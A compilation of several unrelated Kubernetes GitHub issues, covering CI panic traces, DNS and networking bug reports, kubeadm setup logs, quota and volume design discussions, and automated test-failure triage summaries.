example:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scalability/2405\r \r    \r i0521 22:50:08.062  may 21 22:50:08.061: info: closing worker for e2e-scalability-minion-group-hjmj\r i0521 22:50:08.062  e0521 22:50:08.061857    6620 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r i0521 22:50:08.062  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r i0521 22:50:08.062  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r i0521 22:50:08.062  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r i0521 22:50:08.062  /usr/local/go_k8s_patched/src/runtime/asm_amd64.s:514\r i0521 22:50:08.062  /usr/local/go_k8s_patched/src/runtime/panic.go:489\r i0521 22:50:08.063  /usr/local/go_k8s_patched/src/runtime/panic.go:63\r i0521 22:50:08.063  /usr/local/go_k8s_patched/src/runtime/signal_unix.go:290\r i0521 22:50:08.063  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/kubelet_stats.go:373\r i0521 22:50:08.063  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/kubelet_stats.go:397\r i0521 22:50:08.063  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:159\r i0521 22:50:08.063  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:182\r i0521 22:50:08.063  /usr/local/go_k8s_patched/src/runtime/asm_amd64.s:2197\r i0521 22:50:08.064  panic: runtime error: invalid memory address or nil pointer dereference  recovered \r i0521 22:50:08.064  \tpanic: runtime error: invalid memory address or nil pointer dereference\r i0521 22:50:08.064   signal sigsegv: segmentation violation code=0x1 addr=0x18 pc=0x230c29a \r i0521 22:50:08.065  \r i0521 22:50:08.065  goroutine 180  running :\r i0521 22:50:08.065  k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r i0521 22:50:08.065  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x126\r i0521 22:50:08.065  panic 0x2f40340, 0x4f7c940 \r i0521 22:50:08.066  \t/usr/local/go_k8s_patched/src/runtime/panic.go:489 +0x2cf\r i0521 22:50:08.066  k8s.io/kubernetes/test/e2e/framework.getonetimeresourceusageonnode.func1 0xc4248d4960, 0x2e, 0xc424711620, 0x348b8ce \r i0521 22:50:08.066  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/kubelet_stats.go:373 +0x2a\r i0521 22:50:08.066  k8s.io/kubernetes/test/e2e/framework.getonetimeresourceusageonnode 0x4fde720, 0xc4211e7680, 0xc4207a0e70, 0x21, 0x37e11d600, 0xc424753d58, 0xc420e97ed8, 0xc420a1f5c0, 0xc4226f8480 \r i0521 22:50:08.066  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/kubelet_stats.go:397 +0x4d0\r i0521 22:50:08.066  k8s.io/kubernetes/test/e2e/framework.  resourcegatherworker .singleprobe 0xc4211e93e8 \r i0521 22:50:08.066  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:159 +0x38c\r i0521 22:50:08.066  k8s.io/kubernetes/test/e2e/framework.  resourcegatherworker .gather 0xc4211e93e8, 0x6c706bafd \r i0521 22:50:08.066  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:182 +0x2b4\r i0521 22:50:08.067  created by k8s.io/kubernetes/test/e2e/framework.  containerresourcegatherer .getkubesystemcontainersresourceusage\r i0521 22:50:08.067  \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/resource_usage_gatherer.go:199 +0xa2\r i0521 22:50:08.080  \r    \r \r @kubernetes/sig-scalability-bugs

we've had openapi available for several releases.  we should switch  kubectl --validate  to use openapi instead of swagger and then retire swagger.  this allows the cli to use the same information used to generate our clients  good for  @kubernetes/sig-cli-misc   and reduces the maintenance load for the apiserver  good for @kubernetes/sig-api-machinery-misc

is this a bug report or feature request?  :\r  \r   description  :\r \r currently, the resource restriction in resourcequota are hard code for 'object count quota', 'storage resource quota' and 'compute resource quota'. it's inconvenient if the cluster size is changed, e.g. admins have to adjust quota for each namespace.\r \r this proposal is to support percentage of resource in resourcequota, e.g. 50% cpu of cluster. 'compute resource quota' is easy to support as resourcequotacontroller can get total resource of cluster by nodes' allocatable resources. for 'object count quota' and 'storage resource quota', admins has to define the total object count of cluster.\r \r /cc @deads2k @derekwaynecarr

\r > warning  failedgetresourcemetric       2m  x38 over 42m    horizontal-pod-autoscaler  unable to get metrics for resource cpu: failed to get pod resource metrics: an error on the server  \ error: 'dial tcp 172.17.59.2:8082: getsockopt: no route to host'\ trying to reach: 'http://172.17.59.2:8082/apis/metrics/v1alpha1/namespaces/default/pods?labelselector=app%3dhpa%2cname%3dhpa-test-app-deploy%2cversion%3dv0.0.1'\   has prevented the request from succeeding  get services http:heapster: \r \r \r \r hpa  unable to get metrics for resource cpu\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.6\r - cloud provider or hardware configuration: vm\r - os  e.g. from /etc/os-release :centos7\r - kernel  e.g.  uname -a  :3.10.0-229.el7.x86_64\r - install tools: \r - others:\r

when we return an object over our rest api, we set a self link, so that users can figure out where the object came from.  if a use does a get, updates some fields, and then does a put, our server's update   method will get an object with a nonempty selflink.  there's no reason to allow selflink to be set when we persist objects to disk  etcd . and in fact selflink is useful only for clients. so update   methods should clear out selflink before doing anything with the object. create   methods should either give an error if a selflink is given or silently clear it out.  perhaps apiserver's resthandler.go is a good place to remove selflinks, since that's where we add them.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r bug report\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r kube-dns kubernetes setupnetworkerror flannel subnet.env no such file\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  :\r \r vmware fusion for mac\r \r -   os    e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r -   kernel    e.g.  uname -a  :\r    \r linux ubuntu-master 4.4.0-47-generic  68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r \r -   install tools  :\r \r \r -   others  :\r \r \r   what happened  :\r \r    \r kube-system   kube-dns-654381707-w4mpg                0/3       containercreating   0          2m\r    \r    \r firstseen     lastseen        count   from                    subobjectpath   type            reason          message\r   ---------     --------        -----   ----                    -------------   --------        ------          -------\r   3m            3m              1       {default-scheduler }                    normal          scheduled       successfully assigned kube-dns-654381707-w4mpg to ubuntu-master\r   2m            1s              177     {kubelet ubuntu-master}                 warning         failedsync      error syncing pod, skipping: failed to \ setupnetwork\  for \ kube-dns-654381707-w4mpg_kube-system\  with setupnetworkerror: \ failed to setup network for pod \\\ kube-dns-654381707-w4mpg_kube-system 8ffe3172-a739-11e6-871f-000c2912631c \\\  using network plugins \\\ cni\\\ : open /run/flannel/subnet.env: no such file or directory; skipping pod\ \r    \r \r   what you expected to happen  :\r \r kube-dns running\r \r   how to reproduce it    as minimally and precisely as possible :\r \r    \r root@ubuntu-master:~  kubeadm init\r running pre-flight checks\r <master/tokens> generated token: \ 247a8e.b7c8c1a7685bf204\ \r <master/pki> generated certificate authority key and certificate:\r issuer: cn=kubernetes | subject: cn=kubernetes | ca: true\r not before: 2016-11-10 11:40:21 +0000 utc not after: 2026-11-08 11:40:21 +0000 utc\r public: /etc/kubernetes/pki/ca-pub.pem\r private: /etc/kubernetes/pki/ca-key.pem\r cert: /etc/kubernetes/pki/ca.pem\r <master/pki> generated api server key and certificate:\r issuer: cn=kubernetes | subject: cn=kube-apiserver | ca: false\r not before: 2016-11-10 11:40:21 +0000 utc not after: 2017-11-10 11:40:21 +0000 utc\r alternate names:  172.20.10.4 10.96.0.1 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local \r public: /etc/kubernetes/pki/apiserver-pub.pem\r private: /etc/kubernetes/pki/apiserver-key.pem\r cert: /etc/kubernetes/pki/apiserver.pem\r <master/pki> generated service account signing keys:\r public: /etc/kubernetes/pki/sa-pub.pem\r private: /etc/kubernetes/pki/sa-key.pem\r <master/pki> created keys and certificates in \ /etc/kubernetes/pki\ \r <util/kubeconfig> created \ /etc/kubernetes/kubelet.conf\ \r <util/kubeconfig> created \ /etc/kubernetes/admin.conf\ \r <master/apiclient> created api client configuration\r <master/apiclient> created api client, waiting for the control plane to become ready\r <master/apiclient> all control plane components are healthy after 14.053453 seconds\r <master/apiclient> waiting for at least one node to register and become ready\r <master/apiclient> first node is ready after 0.508561 seconds\r <master/apiclient> attempting a test deployment\r <master/apiclient> test deployment succeeded\r <master/discovery> created essential addon: kube-discovery, waiting for it to become ready\r <master/discovery> kube-discovery is ready after 1.503838 seconds\r <master/addons> created essential addon: kube-proxy\r <master/addons> created essential addon: kube-dns\r \r kubernetes master initialised successfully!\r \r you can now join any number of machines by running the following on each node:\r \r kubeadm join --token=247a8e.b7c8c1a7685bf204 172.20.10.4\r root@ubuntu-master:~  \r root@ubuntu-master:~  \r root@ubuntu-master:~  \r root@ubuntu-master:~  kubectl get pods --all-namespaces\r namespace     name                                    ready     status              restarts   age\r kube-system   dummy-2088944543-eo1ua                  1/1       running             0          47s\r kube-system   etcd-ubuntu-master                      1/1       running             3          51s\r kube-system   kube-apiserver-ubuntu-master            1/1       running             0          49s\r kube-system   kube-controller-manager-ubuntu-master   1/1       running             3          51s\r kube-system   kube-discovery-1150918428-qmu0b         1/1       running             0          46s\r kube-system   kube-dns-654381707-mv47d                0/3       containercreating   0          44s\r kube-system   kube-proxy-k0k9q                        1/1       running             0          44s\r kube-system   kube-scheduler-ubuntu-master            1/1       running             3          51s\r root@ubuntu-master:~  \r root@ubuntu-master:~  \r root@ubuntu-master:~  \r root@ubuntu-master:~  kubectl apply -f https://git.io/weave-kube\r daemonset \ weave-net\  created\r root@ubuntu-master:~  \r root@ubuntu-master:~  \r root@ubuntu-master:~  \r    \r   anything else do we need to know  :\r \r first time i ran \r    \r root@ubuntu-master:~  kubeadm init\r     \r and then downloaded kube-flannel.yml and apply\r \r    \r root@ubuntu-master:~  kubectl apply -f kube-flannel.yml\r    \r \r and then tried to join nodes. then i reset configuration by \r    \r root@ubuntu-master:~  kubeadm reset\r root@ubuntu-master:~  rm -rf .kube/\r    \r \r then tried to initialize kubernetes again using weave.

in volume management design, volume operations attach/detach are executed by reconciler running on master, while mount/unmount are executed by reconciler running on node. because the operations are distributed across master and node, there might be race condition issue among these operations. the most dangerous situation is master is trying to detach while the volume is mounted on node. the cooridination between master and node is through a shared node status stored in api server. master updates what volumes are attached and node updates what volumes are mounted. the current workflow on master and node is as follows\r on master, during detach\r 1. mark volume as detached  remove the volume from attachedvolume list  to node.status in api server\r 2. check node status to see whether volume is currently mounted or not. if yes, mark volume as attached back and return. if no, continue to step 3\r 3. issue detach request \r \r on node, during mounting\r 1. check volumes in desired state and actual state. mark volume as mounted  put it into volumemounted list  to node.status in api server. check node status to see whether the volume is attached. if no, return. otherwise, move to next step\r 2. verify the device path and issue mount operation.\r also on node, when a pod is added, its volume information is added to desired state. when node status is updated periodically, the volume that is in either desired state or actual state will be mark as mounted to node.status. \r \r from these steps, we can see there are steps to prevent race condition by marking volume status before executing command. but there is still a chance race condition happens as follows\r 0. master and kubelet put volume into desired state\r 1. master attach volume and update node status\r 2. kubelet check volume is attached and update volume as mounted in node status  volume is in desired state .\r 3. kubelet remove volume from desired state in kubelet  because pod is deleted , node status is updated to remove the volume from volumemounted list\r 4. master mark volume as detached and check volume is not mounted\r 5. kubelet verify the device path, issue mount operation\r 6. master issue detach operation\r \r the problem is that kubelet might update node status while there is a pending operation which results in a mounting volume is considered not mounted. so when updating node status, kubelet should not only check desired state and actual state, but also volume which is currently in pending operation.

hello，all\r step by step according to the sample：\r https://github.com/kubernetes/kubernetes/blob/master/examples/volumes/nfs/readme.md , but \r \ schedulerpredicates failed due to persistentvolumeclaim is not bound: \ nfs-pv-provisioning-demo\ , which is unexpected\ .\r who can tell me why ,tks!\r k8s 1.5.3\r centos7.3.1611\r \r

for now apply command and it's subcommand are becoming bloated\r 1. i will try to move all those command into a independent package like  kubectl set  did.\r \r 2. i will try to reduce duplicated code like comments here: https://github.com/kubernetes/kubernetes/pull/41694 discussion-diff-102018502r38\r \r 3. current  set-last-applied 's validate function does not do validate, will move all the code to run and leave this function empty.\r \r here is apply subcommand\r -  x  edit https://github.com/kubernetes/kubernetes/pull/42256\r \r -  x  set https://github.com/kubernetes/kubernetes/pull/41694\r \r -  x  view https://github.com/kubernetes/kubernetes/pull/41146\r \r -     diff https://github.com/kubernetes/kubernetes/pull/46560\r \r \r cc @ymqytw @adohe @kubernetes/sig-cli-misc

prow is starting to migrate away from jobs into prowjobs  tpr . see https://github.com/kubernetes/test-infra/issues/2054 + https://github.com/kubernetes/test-infra/pull/2218 + https://github.com/kubernetes/test-infra/pull/2243. @kubernetes/sig-apps-misc i think it's worth investigating if this split is really necessary and if k8s native jobs can be evolved to continue being used for testing k8s while staying generic at the same time.\r \r cc: @kubernetes/sig-testing-misc @erictune @soltysh

testgrid  https://k8s-testgrid.appspot.com/release-master-blocking test-go  is not picking the cmd test junit output due to file naming issue.\r the file name should match regex  'junit _ ^_ + ? _\\d+-\\d+ ? _\\d+ ?.xml' \r \r /assign

created a federated cluster on aws using kops as explained at:\r \r https://github.com/arun-gupta/kubernetes-federated-cluster\r \r deployed a replicaset using the definition: https://github.com/arun-gupta/kubernetes-federated-cluster/blob/master/rs.yml\r \r expecting 3 pods to be spread on two clusters each but the status does not change:\r \r    \r kubectl --context=interstellar get -w rs\r name       desired   current   ready     age\r frontend   6         0         0         15m\r    \r  \r may be related to: https://github.com/kubernetes/kubernetes/issues/51578\r \r  

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r kubernetes is vendoring code from a private website  vbom.ml . the most prevalent issue this creates is that fetching dependencies  i.e.  glide up  or  glide install   takes significantly longer than needed. \r   what you expected to happen  :\r kubernetes to vendor from public  well hosted  websites. \r   how to reproduce it  as minimally and precisely as possible   :\r run  glide up  when importing  vbom.ml/util/sortorder   as is present in  k8s.io/kubernetes/pkg/kubectl/sorting_printer.go  . \r \r   anything else we need to know?  :\r beyond the inconvenience of slowing import times, this also creates a security issue of malicious code injection from this website  as opposed to a more secure and transparent codebase hosted in github, bitbucket, or similar. the vendor directory shows how rare this is -- there are a large number of imports in kubernetes, hosted on  golang.org ,  github.com , etc.  vbom.ml  seems to be quite the odd man out. \r \r could the library simply be forked and held elsewhere?\r \r ! screen shot 2017-08-30 at 10 45 45 am  https://user-images.githubusercontent.com/13357734/29886958-bc46cd5c-8d70-11e7-8846-aa227bef0f8c.png \r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r ➜  ~ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.7\ , gitcommit:\ 095136c3078ccf887b9034b7ce598a0a1faff769\ , gittreestate:\ clean\ , builddate:\ 2017-07-05t16:40:42z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r    \r ➜  ~ uname -a\r darwin pla-daniel-hunter 16.7.0 darwin kernel version 16.7.0: thu jun 15 17:36:27 pdt 2017; root:xnu-3789.70.16~2/release_x86_64 x86_64\r    \r - install tools:\r - others:\r

failure cluster  63a36434077ff31ae29e  https://go.k8s.io/triage 63a36434077ff31ae29e        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:148 expected error:     < errors.errorstring | 0xc420435050>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/daemon_set.go:122           failure cluster statistics: 35 tests failed,    43 jobs failed,    107 builds failed. failure stats cover 1 day time range '31 aug 2017 12:19 utc' to '1 sep 2017 12:19 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io  etcd failure  disruptive  should recover from sigkill | 13 | |  k8s.io  dns should provide dns for the cluster  conformance  | 13 | |  k8s.io  daemon set  serial  should run and stop simple daemon | 11 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-1-5-1-6-cvm-kubectl-skew | 10 |  1 sep 2017 09:35 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-1-5-1-6-cvm-kubectl-skew/875  | | ci-kubernetes-e2e-gke-cvm-1-5-gci-1-6-upgrade-cluster | 6 |  1 sep 2017 08:31 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-6-upgrade-cluster/388  | | ci-kubernetes-e2e-gke-gci-1-5-cvm-1-6-upgrade-cluster | 6 |  1 sep 2017 07:32 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1-5-cvm-1-6-upgrade-cluster/381  |        previously closed issues for this cluster:  46185   <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | pmorie |  k8s.io  etcd failure  disruptive  should recover from sigkill;  k8s.io  replicaset should serve a basic image on each replica with a private image | | roberthbailey |  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  dns should provide dns for services  conformance ;  sig-network  dns should provide dns for services  conformance  | | mtaufen |  k8s.io  daemon set  serial  should run and stop simple daemon;  k8s.io  dns should provide dns for pods for hostname and subdomain annotation | | sig/api-machinery |  k8s.io  etcd failure  disruptive  should recover from sigkill;  k8s.io  resourcequota should create a resourcequota and capture the life of a secret.;  k8s.io  etcd failure  disruptive  should recover from network partition with master | | sig/network |  k8s.io  dns should provide dns for the cluster  conformance ;  k8s.io  services should be able to create a functioning nodeport service;  k8s.io  dns should provide dns for services  conformance  | | sig/apps |  k8s.io  daemon set  serial  should run and stop simple daemon;  k8s.io  replicaset should serve a basic image on each replica with a public image  conformance ;  k8s.io  replicationcontroller should serve a basic image on each replica with a public image  conformance  |  </details><br>   current status  https://go.k8s.io/triage 63a36434077ff31ae29e

failure cluster  c4241712c69f91d0a3f6  https://go.k8s.io/triage c4241712c69f91d0a3f6        error text:     https://raw.githubusercontent.com/kubernetes/federation/master/cluster/get-federation.sh returned 404           failure cluster statistics: 1 tests failed,    2 jobs failed,    86 builds failed. failure stats cover 1 day time range '26 oct 2017 22:06 utc' to '27 oct 2017 22:06 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | extractfederation | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-federation-e2e-gce | 43 |  27 oct 2017 21:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-federation-e2e-gce/49  | | ci-federation-e2e-gce-serial | 43 |  27 oct 2017 21:52 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-federation-e2e-gce-serial/49  |   current status  https://go.k8s.io/triage c4241712c69f91d0a3f6

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r i am using kubernetes sdk to provsionion a deployment/pod with initcontainer and also using the sdk to get the status of the pod and return the status of my service in  custom format  to user. i see that the \ containerstateterminated\  struct contains reason and message fields. if a initcontainer fails then the reason field only contains \ error\ . \r \r ! image  https://user-images.githubusercontent.com/9897945/38482086-418b4fcc-3be7-11e8-9a92-54a534e441e7.png \r \r   what you expected to happen  :\r i want a way to pass a certain error message from my process  which is running inside initcontainer  to the _containerstateterminated.reason_ field. i know that we can get info from initcontainer logs but logs contains cluttered text, i just need the specific error message that why the initcontainer failed.  \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r \r  >  \r \r   what happened  :\r \r i've just upgraded our cluster from 1.10.0 to 1.11.2 and my all end points can't resolve but i can reach via ip address. \r \r i have two endpoints on different namespaces with named gitlab and redis.\r \r i tried to use dnstools for examine it;\r    \r dnstools  host kubernetes\r kubernetes.default.svc.cluster.local has address 10.96.0.1\r dnstools  host 10.105.20.72\r 72.20.105.10.in-addr.arpa domain name pointer gitlab.devops.svc.cluster.local.\r dnstools  host 10.96.227.182\r 182.227.96.10.in-addr.arpa domain name pointer redis.logging.svc.cluster.local.\r    \r \r dnstools resolv.conf;\r \r    \r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local localdomain\r options ndots:5\r    \r i am trying to reach that records via busybox with;\r \r    \r kubectl exec busybox -- nslookup redis.logging.svc.cluster.local\r server:         10.96.0.10\r address:        10.96.0.10:53\r \r \r     can't find redis.logging.svc.cluster.local: no answer\r    \r \r busybox using same resolv.conf as dnstool\r \r    \r nameserver 10.96.0.10\r search default.svc.cluster.local svc.cluster.local cluster.local localdomain\r options ndots:5\r    \r i can reach services via ip address but can't fqdn.\r \r core-dns doesn't show any error or log about this.\r \r    \r .:53\r 2018/08/09 12:22:32  info  coredns-1.1.3\r 2018/08/09 12:22:32  info  linux/amd64, go1.10.1, b0fd575c\r 2018/08/09 12:22:32  info  plugin/reload: running configuration md5 = 2a066f12ec80aeb2b92740dd74c17138\r coredns-1.1.3\r linux/amd64, go1.10.1, b0fd575c\r    \r \r   what you expected to happen  :\r \r it have to resolve fqdn.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install 1.10.0 with kube-dns after upgrade to 1.11.2 and use core-dns\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  v1.11.1  :\r - os  e.g. from /etc/os-release : centos-release-7-5.1804.1.el7.centos.x86_64\r - kernel  e.g.  uname -a  : linux rmph014 3.10.0-862.9.1.el7.x86_64  1 smp mon jul 16 16:29:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r after booting a clean system, running  kubeadm init  with a cri runtime other than docker configured produces the following pair of error messages:\r \r     \r \t error filecontent--proc-sys-net-bridge-bridge-nf-call-iptables : /proc/sys/net/bridge/bridge-nf-call-iptables does not exist\r \t error filecontent--proc-sys-net-ipv4-ip_forward : /proc/sys/net/ipv4/ip_forward contents are not set to 1\r     \r \r   what you expected to happen  :\r \r those two pre-flight checks to pass because they could be satisfied automatically.\r \r obviously, these are handled automatically by the starting of the  docker  daemon normally, but for opensuse kubic we are investigating using cri-o by default, where we do not have the luxury of an overbearing daemon to meddle with such things.\r \r therefore this bug report is either an opportunity for kubeadm to handle things itself. i think there is a case to be that because kubeadm knows what it needs, kubeadm should  modprobe br_netfilter  and  echo '1' > /proc/sys/net/ipv4/ip_forward  automatically rather than complaining about the issues.\r \r alternatively, if this suggestion is not acceptable, i'd appreciate a suggestion as to how opensuse kubic should automatically address these issues in a way that will remain aligned with kubeadm's general expectations.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   install kubeadm and cri-o\r   systemctl enable --now crio\r   configure kubeadm to run kublet with additional args  --container-runtime=remote --container-runtime-endpoint=unix:///var/run/crio/crio.sock --runtime-request-timeout=15m \r   run  kubeadm init --cri-socket /var/run/crio/crio.sock \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: qemu-kvm x86_64 16gb ram 2 cores\r - os  e.g. from /etc/os-release : opensuse-tumbleweed-kubic\r - kernel  e.g.  uname -a  : 4.17.13\r - install tools: kubeadm\r

keeping 👀on this. official  docker upstream image  https://hub.docker.com/r/library/golang/  isn't available yet, so i can't build kube-cross locally yet.\r \r will need gofmt changes for sure  and they aren't backwards compatible .\r \r cc: @ixdy @luxas

taintnodebycondition has replaced the existing node condition. with this feature node conditions that affect feasibility of nodes are reflected as taints on nodes. this feature is promoted to beta in 1.12. we should deprecate node conditions once the feature is ga'ed in future releases.\r \r -     announce deprecation of node.spec.unschedulable\r -     mark node.spec.unschedulable as deprecated in our api\r -     update our documents to note that node.spec.unschedulable is deprecated\r \r  

what happened  \r \r resourcequotas are configured in every namespace of a busy production cluster. at some point the following happened:\r \r - \ status:used\  got inflated / was more than the sum of requests in namespaces\r - \ status:hard\  refused to get updated via applying new manifests - \ spec:hard\  was normally updated but \ status:hard\  was stuck.\r - attempted deleting and recreating the resourcequota, and \ status\  remained empty {}.\r \r still, the main functionality of refusing to schedule new pods that exceeded current status:hard was still working.\r \r   remediation:  \r \r killed controller-manager, as soon as another pod took the master lease and controllers started working, the issue got resolved.\r \r my best guess is that there's some kind of deadlock in the resourcequota controller or in controller-manager in general.\r \r \r   environment  :\r - k8s 1.10.9\r - cloud provider: vsphere on-premise\r - os: ubuntu 16.04\r - kernel:  4.4.0-135\r \r \r   api-machinery scheduling\r  not sure what's the exact sig for this

cluster 1.2.2 settings:      aws_default_profile=default  export docker_storage=btrfs export kubernetes_provider=aws export kube_aws_zone=us-west-2a export kube_enable_cluster_logging=false export kube_enable_cluster_monitoring=none export multizone=1 export node_root_disk_size=32 export node_size=m4.xlarge export num_nodes=5      when the node disk space is low enough to trigger gc, nothing happens.        df -h filesystem      size  used avail use% mounted on /dev/xvda1       32g   28g  3.0g  91% / udev             10m     0   10m   0% /dev tmpfs           3.2g  282m  2.9g   9% /run tmpfs           7.9g  1.1m  7.9g   1% /dev/shm tmpfs           5.0m     0  5.0m   0% /run/lock tmpfs           7.9g     0  7.9g   0% /sys/fs/cgroup    journalctl -u kubelet | grep -i garbage apr 20 17:48:20 ip-172-20-0-149 kubelet 4441 : e0420 17:48:20.680505    4441 kubelet.go:956  image garbage collection failed: unable to find data for container / may 19 18:36:30 ip-172-20-0-149 kubelet 27507 : e0519 18:36:30.108168   27507 kubelet.go:956  image garbage collection failed: unable to find data for container /      cadvisor output looks ok:        curl http://127.0.0.1:4194/validate/ ... docker driver setup:  supported and recommended      docker exec driver is native-0.2. storage driver is aufs.     docker container state directory is at \ /var/lib/docker/containers\  and is accessible.   block device setup:  supported and recommended      at least one device supports 'cfq' i/o scheduler. some disk stats can be reported.      disk \ xvda\  scheduler type \ cfq\ . ...      everything else in the cluster seems to be working.  any ideas on how to debug?  for now i manually removed dangling and older docker images.

